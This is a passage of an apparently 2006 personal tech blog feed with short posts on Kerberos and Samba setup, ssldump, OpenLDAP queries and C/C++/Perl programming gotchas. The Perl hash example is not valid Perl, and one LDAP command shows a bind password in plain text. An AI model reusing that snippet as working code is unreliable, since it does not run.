Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-4622084075877828060</id><published>2006-12-12T15:36:00.000-05:00</published><updated>2006-12-12T15:43:06.766-05:00</updated><title type='text'>KERBROS based authentication</title><content type='html'>An overview of kerberos authentication method is given by wikipedia. Following REDHAT's administrator's guide on setting up KERBEROS server/client, one can start testing kerberos authentication. A commone issue encountered I imagine is this error message in log:&lt;br /&gt;&lt;br /&gt; Dec 12 15:09:26 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: CLIENT_NOT_FOUND: feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM, Client not found in Kerberos database&lt;br /&gt;Dec 12 15:09:26 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: CLIENT_NOT_FOUND: feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM, Client not found in Kerberos database&lt;br /&gt;&lt;br /&gt;==&gt; /var/log/krb5kdc.log &lt;==&lt;br /&gt;Dec 12 15:15:55 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: ISSUE: authtime 1165954555, etypes {rep=16 tkt=16 ses=16}, feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM&lt;br /&gt;Dec 12 15:15:55 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: ISSUE: authtime 1165954555, etypes {rep=16 tkt=16 ses=16}, feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM&lt;br /&gt;&lt;br /&gt;'Client not found in Kerberos database' is a result of missing principle in KDC database. Again, ethereal or tcpdump are invaluable to diagnose network traffic pattern and figure out what's happening. At linux console,&lt;br /&gt;# kinit feiliu/admin@NETILLA.COM&lt;br /&gt;Password for feiliu/admin@NETILLA.COM:&lt;br /&gt;[root@maple ~]# kadmin&lt;br /&gt;Authenticating as principal feiliu/admin@NETILLA.COM with password.&lt;br /&gt;Password for feiliu/admin@NETILLA.COM:&lt;br /&gt;kadmin:  ?&lt;br /&gt;Available kadmin requests:&lt;br /&gt;&lt;br /&gt;add_principal, addprinc, ank&lt;br /&gt;                         Add principal&lt;br /&gt;delete_principal, delprinc&lt;br /&gt;                         Delete principal&lt;br /&gt;modify_principal, modprinc&lt;br /&gt;                         Modify principal&lt;br /&gt;change_password, cpw     Change password&lt;br /&gt;get_principal, getprinc  Get principal&lt;br /&gt;list_principals, listprincs, get_principals, getprincs&lt;br /&gt;                         List principals&lt;br /&gt;add_policy, addpol       Add policy&lt;br /&gt;modify_policy, modpol    Modify policy&lt;br /&gt;delete_policy, delpol    Delete policy&lt;br /&gt;get_policy, getpol       Get policy&lt;br /&gt;list_policies, listpols, get_policies, getpols&lt;br /&gt;                         List policies&lt;br /&gt;get_privs, getprivs      Get privileges&lt;br /&gt;ktadd, xst               Add entry(s) to a keytab&lt;br /&gt;ktremove, ktrem          Remove entry(s) from a keytab&lt;br /&gt;lock                     Lock database exclusively (use with extreme caution!)&lt;br /&gt;unlock                   Release exclusive database lock&lt;br /&gt;list_requests, lr, ?     List available requests.&lt;br /&gt;quit, exit, q            Exit program.&lt;br /&gt;kadmin:  getprincs&lt;br /&gt;K/M@NETILLA.COM&lt;br /&gt;feiliu/admin@NETILLA.COM&lt;br /&gt;feiliu/firewood.netilla.com@NETILLA.COM&lt;br /&gt;host/firewood.netilla.com@NETILLA.COM&lt;br /&gt;kadmin/admin@NETILLA.COM&lt;br /&gt;kadmin/changepw@NETILLA.COM&lt;br /&gt;kadmin/history@NETILLA.COM&lt;br /&gt;kadmin/maple@NETILLA.COM&lt;br /&gt;krbtgt/NETILLA.COM@NETILLA.COM&lt;br /&gt;&lt;br /&gt;which suggests that the missing principle 'feiliu/NETILLA.COM@NETILLA.COM' is indeed not in the KDC database. Create this entry:&lt;br /&gt;kadmin: addprinc feiliu@NETILLA.COM&lt;br /&gt;WARNING: no policy specified for feiliu@NETILLA.COM; defaulting to no policy&lt;br /&gt;Enter password for principal "feiliu@NETILLA.COM":&lt;br /&gt;Re-enter password for principal "feiliu@NETILLA.COM":&lt;br /&gt;Principal "feiliu@NETILLA.COM" created.&lt;br /&gt;kadmin.local:  getprincs&lt;br /&gt;K/M@NETILLA.COM&lt;br /&gt;feiliu/NETILLA.COM@NETILLA.COM&lt;br /&gt;feiliu/admin@NETILLA.COM&lt;br /&gt;feiliu/firewood.netilla.com@NETILLA.COM&lt;br /&gt;feiliu@NETILLA.COM&lt;br /&gt;host/firewood.netilla.com@NETILLA.COM&lt;br /&gt;kadmin/admin@NETILLA.COM&lt;br /&gt;kadmin/changepw@NETILLA.COM&lt;br /&gt;kadmin/history@NETILLA.COM&lt;br /&gt;kadmin/maple@NETILLA.COM&lt;br /&gt;krbtgt/NETILLA.COM@NETILLA.COM&lt;br /&gt;&lt;br /&gt;Try again from kerbros client, authentication is successful with valid credentials information in the kerbros log.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-4622084075877828060?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4622084075877828060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4622084075877828060'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/kerbros-based-authentication.html' title='KERBROS based authentication'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-779950117440195792</id><published>2006-12-12T10:57:00.000-05:00</published><updated>2006-12-12T11:07:04.795-05:00</updated><title type='text'>Use ssldump to decrypt/view SSL/TLS encrypted network packets</title><content type='html'>With widespread use of SSL/TLS encryption of network traffic, tcpdump/ethereal often are not as useful as they used to be. SSLDUMP is a tool designed to decrypt and display encrypted network traffic. First obtain the private key used during the communication, capture a packet using tcpdump or do a live session (if host computer is fast):&lt;br /&gt;&lt;br /&gt; ssldump -k priv_key -r /scratch/sslpkt2 -i eth0 -d&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-779950117440195792?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/779950117440195792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/779950117440195792'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/use-ssldump-to-decryptview-ssltls.html' title='Use ssldump to decrypt/view SSL/TLS encrypted network packets'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6707646800420684347</id><published>2006-12-04T11:27:00.000-05:00</published><updated>2006-12-04T11:32:40.457-05:00</updated><title type='text'>Dell Inspiron 1501 ethernet driver and Fedora Core 6 issues</title><content type='html'>Dell website does not have 64 bit broadcom ethernet 4401 driver for AMD Turion 64 laptop (Insipron 1501),  this driver can be downloaded from broadcome website directly: http://www.broadcom.com/support/ethernet_nic/4401.php&lt;br /&gt;&lt;br /&gt;There are similar issues (not as critical) with model and chipset drivers which I suppose have to be downloaded from OEM vendors directly.&lt;br /&gt;&lt;br /&gt;Fedora core 6 64bit seems to have  a problem with the SATA hard drive used, this needs further investigation.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6707646800420684347?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6707646800420684347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6707646800420684347'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/dell-inspiron-1501-ethernet-driver-and.html' title='Dell Inspiron 1501 ethernet driver and Fedora Core 6 issues'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3594572251769135339</id><published>2006-12-02T21:25:00.000-05:00</published><updated>2006-12-02T21:31:03.230-05:00</updated><title type='text'>configure linux samba server to interoperate with different versions of windows</title><content type='html'># Password Level allows matching of _n_ characters of the password for&lt;br /&gt;# all combinations of upper and lower case.&lt;br /&gt;  password level = 20&lt;br /&gt;  username level = 20&lt;br /&gt;&lt;br /&gt; # You may wish to use password encryption. Please read&lt;br /&gt;# ENCRYPTION.txt, Win95.txt and WinNT.txt in the Samba documentation.&lt;br /&gt;# Do not enable this option unless you have read those documents&lt;br /&gt;  encrypt passwords = yes&lt;br /&gt;  smb passwd file = /etc/samba/smbpasswd&lt;br /&gt;&lt;br /&gt;# Unix users can map to different SMB User names&lt;br /&gt;  username map = /etc/smbusers&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3594572251769135339?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3594572251769135339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3594572251769135339'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/configure-linux-samba-server-to.html' title='configure linux samba server to interoperate with different versions of windows'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-116501362168901265</id><published>2006-12-01T17:48:00.000-05:00</published><updated>2006-12-01T17:53:41.813-05:00</updated><title type='text'>Be careful with openlog/syslog library calls</title><content type='html'>#include &lt;syslog.h&gt;&lt;br /&gt;&lt;br /&gt;void foo(){&lt;br /&gt;    openlog("FOO", LOG_PID|LOG_PERROR, LOG_USER);&lt;br /&gt;    syslog(LOG_INFO, "logging from foo");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(void){&lt;br /&gt;    openlog("MAIN", LOG_PID|LOG_PERROR, LOG_AUTH);&lt;br /&gt;    foo();&lt;br /&gt;    syslog(LOG_INFO, "logging from MAIN");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Ever wonder why sometimes syslog secretly sends logging message to the wrong facility behind your back? It appears openlog call has a process wide effect, &lt;br /&gt;&lt;br /&gt;       #include &lt;syslog.h&gt;&lt;br /&gt;&lt;br /&gt;       void openlog(const char *ident, int option, int facility);&lt;br /&gt;       void syslog(int priority, const char *format, ...);&lt;br /&gt;       void closelog(void);&lt;br /&gt;&lt;br /&gt;Facility number can be changed at any place in the source code by a call to openlog. Any subsequent call to syslog will use the new facility number specified. In my opinion, it's a bad form of programming to use syslog directly in library code. Watch out for this bug when you use syslog.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-116501362168901265?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116501362168901265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116501362168901265'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/be-careful-with-openlogsyslog-library.html' title='Be careful with openlog/syslog library calls'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-116481998950176783</id><published>2006-11-29T12:00:00.000-05:00</published><updated>2006-11-29T12:06:29.520-05:00</updated><title type='text'>C++ cannot bind temporary objects to non-const references (clc++)</title><content type='html'>This property is one of the C++ gotchas where a temporary object when passed as a reference argument, must bind to a const reference. Its physical state cannot change within the function. There is no logical reason why it has to be this way but it's mandated by C++ spec.&lt;br /&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;class Test{&lt;br /&gt;        public:&lt;br /&gt;                Test(int i ) { std::cout &lt;&lt; "Test Constructor!" &lt;&lt; std::endl ; }&lt;br /&gt;                Test( Test &amp; test ) { std::cout &lt;&lt; "Copy" &lt;&lt; std::endl; }&lt;br /&gt;                ~Test() { std::cout &lt;&lt; "Destroy!" &lt;&lt; std::endl ; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main( int argc , char ** argv ){&lt;br /&gt;        Test array[10] = { Test(1) } ;&lt;br /&gt;        return 0 ;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;g++ say: no matching call to : Test::Test(Test) &lt;br /&gt;&lt;br /&gt;In order to copy-construct from a temporary, the copy constructor should be 'Test(Test const&amp;)'&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-116481998950176783?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116481998950176783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116481998950176783'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/11/c-cannot-bind-temporary-objects-to-non.html' title='C++ cannot bind temporary objects to non-const references (clc++)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-116474246147274834</id><published>2006-11-28T14:30:00.000-05:00</published><updated>2006-11-28T16:02:22.953-05:00</updated><title type='text'>openldap usage tips</title><content type='html'>Openldap is a PGL implementation of LDAP protocol. After compilation/install. Start the learning the test scripts. To start a ldap server,&lt;br /&gt;&lt;br /&gt;cd /root/openldap-2.3.29/tests&lt;br /&gt;./run start-server (edit defines.sh and change LOCALHOST to $ip address so that remote connection works)&lt;br /&gt;../clients/tools/ldapsearch -P 3 -x -LLL -S "" -b "dc=example,dc=com" -h 192.168.1.253 -p 9011 "(cn=Manager)" &lt;br /&gt;../clients/tools/ldapsearch -h (display help messages)&lt;br /&gt;tcpdump -n -vv  port 901 (if remote connection does not work)&lt;br /&gt;&lt;br /&gt;Perform bind before search request:&lt;br /&gt;../clients/tools/ldapsearch -D "cn=administrator,cn=users,dc=argathia,dc=com" -w argathia -P 3 -x -LLL -S "" -b "dc=argathia,dc=com" -h 169.254.2.1 -p 389 "(cn=fei*)"&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-116474246147274834?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116474246147274834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/116474246147274834'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/11/openldap-usage-tips.html' title='openldap usage tips'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115998313228957129</id><published>2006-10-04T10:34:00.000-05:00</published><updated>2006-12-12T10:39:29.644-05:00</updated><title type='text'>Perl hash keys and values are scalars, and nothing but scalars</title><content type='html'>One of the confusions and pitfalls of using perl hash is incorrectly retrieve hash keys and values as arrays or hashes. This is incorrect. Perl hash keys and values are always scalars. Then how can one build complicated data structures using perl hash. The answer lies in the simple fact that references are regarded as scalars in perl. So instead of storing arrays or hashes as hash keys and values. One stores references to arrays or hashes as keys and values of a hash. An example will make the above points clearer:&lt;br /&gt;&lt;br /&gt;# retrieve keys and values from ihash, then split each value array using key as separator.&lt;br /&gt;foreach (my $key, my $values) (%ihash) {&lt;br /&gt;   my @result = split($key, @$values);&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115998313228957129?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115998313228957129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115998313228957129'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/10/perl-hash-keys-and-values-are-scalars.html' title='Perl hash keys and values are scalars, and nothing but scalars'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115461833201663756</id><published>2006-08-03T10:06:00.000-05:00</published><updated>2006-08-03T10:28:31.586-05:00</updated><title type='text'>template template argument</title><content type='html'>The following code snippet demonstrates a neat feature of C++, template template argument. C++ template parameter list can contain a declaration of template as shown in this example. The primary reason of using template tempalte argument is to coordinate template arguments. For example, to instantiate an object of A, one needs to write "A&lt; int, std::allocator&lt;int&gt;, std::vector &gt; a". The composite design (has-a) of class A will be implemented through std::vector&lt; int, std::allocator&lt;int&gt; &gt;. &lt;br /&gt;&lt;br /&gt;#include &lt; vector &gt;&lt;br /&gt;#include &lt; iostream &gt;&lt;br /&gt;&lt;br /&gt;template &lt; typename T, class Alloc, template &lt; typename, typename&gt; class C&gt;&lt;br /&gt;struct A{&lt;br /&gt;  C&lt; T, Alloc &gt; c;&lt;br /&gt;  A(){ c[0] = 10; }&lt;br /&gt;  void print(){ std::cout &lt;&lt; "A" &lt;&lt; std::endl; }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;  A&lt; int, std::allocator&lt;int&gt;, std::vector &gt; a;&lt;br /&gt;  a.print();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;To further illustrate the point, one can completely remove the dependence of allocator on container type by rewriting the code like this:&lt;br /&gt;&lt;br /&gt;#include &lt; vector &gt;&lt;br /&gt;#include &lt; iostream &gt;&lt;br /&gt;&lt;br /&gt;template &lt; typename T, template &lt; typename&gt; class Alloc, template &lt; typename, typename&gt; class C&gt;&lt;br /&gt;struct A{&lt;br /&gt;  C&lt; T, Alloc&lt;T&gt; &gt; c;&lt;br /&gt;  A(){ c[0] = 10; }&lt;br /&gt;  void print(){ std::cout &lt;&lt; "A" &lt;&lt; std::endl; }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;  A&lt; int, std::allocator, std::vector &gt; a;&lt;br /&gt;  a.print();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;In this final example, there is no room for error or confusion (one cannot write&lt;br /&gt;A&lt; int, std::allocator&lt;double&gt;, std::vector&gt; a). The intention of the code is clear and self consistent.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115461833201663756?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115461833201663756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115461833201663756'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/08/template-template-argument.html' title='template template argument'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115385053836069062</id><published>2006-07-25T13:01:00.000-05:00</published><updated>2006-07-25T13:02:31.260-05:00</updated><title type='text'>C/C++ sequence point by Robbie Hatley on CLC</title><content type='html'>I was just googling "sequence point", trying to find more info on this,&lt;br /&gt;and I ran across http://c-faq.com/ which is, lo and behold, the FAQ for&lt;br /&gt;this group.  That site mentions the following two sentences from the&lt;br /&gt;C standard:&lt;br /&gt;&lt;br /&gt;   Between the previous and next sequence point an object shall&lt;br /&gt;   have its stored value modified at most once by the evaluation&lt;br /&gt;   of an expression. Furthermore, the prior value shall be accessed&lt;br /&gt;   only to determine the value to be stored.&lt;br /&gt;&lt;br /&gt;After staring at those for a while I think I understand them.&lt;br /&gt;If I'm getting the idea right, it says:&lt;br /&gt;&lt;br /&gt;1. You aren't supposed to alter the same variable twice between&lt;br /&gt;   sequence points.&lt;br /&gt;2. If you alter a variable between two sequence points, you're&lt;br /&gt;   not supposed to use the original value of that variable for&lt;br /&gt;   any purpose other than computing the final value to be stored&lt;br /&gt;   back into the variable.&lt;br /&gt;&lt;br /&gt;For example, I think the following violates those rules:&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   int y=0;&lt;br /&gt;   int x=7;&lt;br /&gt;   y = 2*x + x++;       // violates sentence 2&lt;br /&gt;   printf("y = %d", y); // undefined behavior&lt;br /&gt;&lt;br /&gt;   y=0;&lt;br /&gt;   x=7;&lt;br /&gt;   y = x++ + x++;       // violates sentences 1 and 2&lt;br /&gt;   printf("y = %d", y); // undefined behavior&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115385053836069062?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115385053836069062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115385053836069062'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/07/cc-sequence-point-by-robbie-hatley-on.html' title='C/C++ sequence point by Robbie Hatley on CLC'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115377186236252165</id><published>2006-07-24T14:54:00.000-05:00</published><updated>2006-07-24T15:11:03.266-05:00</updated><title type='text'>The mythical 'bss' segment</title><content type='html'>BSS stands for 'Block Started by Symbols'. This is a segment reserved for uninitialized global variables on most unix/linux platforms. Consider the following example:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int init_d = 10;  // .data&lt;br /&gt;int noinit_d;     // .bss&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;  printf(".data %p .bss %p\n", &amp;init_d, &amp;noinit_d);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Compile with -g -O0, run it will print the following lines:&lt;br /&gt;.data 0x8049598 .bss 0x80495a0&lt;br /&gt;&lt;br /&gt;Run 'objdump -s a.out':&lt;br /&gt;Contents of section .rodata:&lt;br /&gt; 8048478 03000000 01000200 2e646174 61202570  .........data %p&lt;br /&gt; 8048488 202e6273 73202570 0a00                .bss %p..&lt;br /&gt;Contents of section .data:&lt;br /&gt; 804958c 00000000 00000000 a4940408 0a000000  ................&lt;br /&gt;&lt;br /&gt;080494a4 points to the format string, 0a is the value of the initialized variable.&lt;br /&gt;&lt;br /&gt;Run 'objdump -x a.out':&lt;br /&gt;Idx Name          Size      VMA       LMA       File off  Algn&lt;br /&gt; 21 .data         00000010  0804958c  0804958c  0000058c  2**2&lt;br /&gt;                  CONTENTS, ALLOC, LOAD, DATA&lt;br /&gt; 22 .bss          00000008  0804959c  0804959c  0000059c  2**2&lt;br /&gt;                  ALLOC&lt;br /&gt;.bss segment starts from 0804959c and takes 8 bytes. The 2nd variable at 80495a0 is  noinit_d in our source code.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115377186236252165?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115377186236252165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115377186236252165'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/07/mythical-bss-segment.html' title='The mythical &apos;bss&apos; segment'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115263808704260697</id><published>2006-07-11T12:14:00.000-05:00</published><updated>2006-07-11T12:14:47.053-05:00</updated><title type='text'>What does 'static inline' mean?</title><content type='html'>Declare a function 'static inline' means each definition of the&lt;br /&gt;function is unique and multiple translation units can each have their&lt;br /&gt;own definition of the function and compilation will still work. In the&lt;br /&gt;final executable file, every required copy of the function object code&lt;br /&gt;is included but will be assigned and loaded at different virtual&lt;br /&gt;address.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115263808704260697?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115263808704260697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115263808704260697'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/07/what-does-static-inline-mean.html' title='What does &apos;static inline&apos; mean?'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-115102502634583424</id><published>2006-06-22T19:47:00.001-05:00</published><updated>2008-04-01T11:36:53.171-05:00</updated><title type='text'>char * ptr = "hello" and char carray[] = "hello"</title><content type='html'>I was intrigued by this interview question where the reviewer asked if a char * ptr will take more space than a char carray[]. I found the following with gcc 2.96 on ia32:&lt;br /&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;&lt;br /&gt;static char * ptr = "hello";&lt;br /&gt;int x = 0x41414141;&lt;br /&gt;static char  ptr8[] = "hello888";&lt;br /&gt;int y = 0x42424242;&lt;br /&gt;char ptr5[] = "hello";&lt;br /&gt;int z = 0x43434343;&lt;br /&gt;static char  ptr8a[8] = "hello888"; // I got confused here between&lt;br /&gt;ptr8 and ptr8a&lt;br /&gt;int u = 0x42424242;&lt;br /&gt;&lt;br /&gt;int main(void){&lt;br /&gt;&lt;br /&gt;      int i;&lt;br /&gt;      for(i = 0; i &lt; 9; i ++)&lt;br /&gt;              printf("%d %c\n", i, ptr8[i]);&lt;br /&gt;      if((unsigned char)ptr8a[8] == 0x42)&lt;br /&gt;              printf("not null terminated\n");&lt;br /&gt;      if((unsigned char)ptr5[5] != 0x43)&lt;br /&gt;              printf("null terminated, aligned on 8 byte boundary\n");&lt;br /&gt;&lt;br /&gt;      printf("ptr[0] = %c\n", ptr[0]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Executing this (after compiled with gcc 2.96 with -O3)&lt;br /&gt; ./ptr_t&lt;br /&gt;0 h&lt;br /&gt;1 e&lt;br /&gt;2 l&lt;br /&gt;3 l&lt;br /&gt;4 o&lt;br /&gt;5 8&lt;br /&gt;6 8&lt;br /&gt;7 8&lt;br /&gt;8&lt;br /&gt;not null terminated&lt;br /&gt;null terminated, aligned on 8 byte boundary&lt;br /&gt;ptr[0] = h&lt;br /&gt;&lt;br /&gt;Now I did a binary dump of the ELF binary file, here is the&lt;br /&gt;interesting sections:&lt;br /&gt;Contents of section 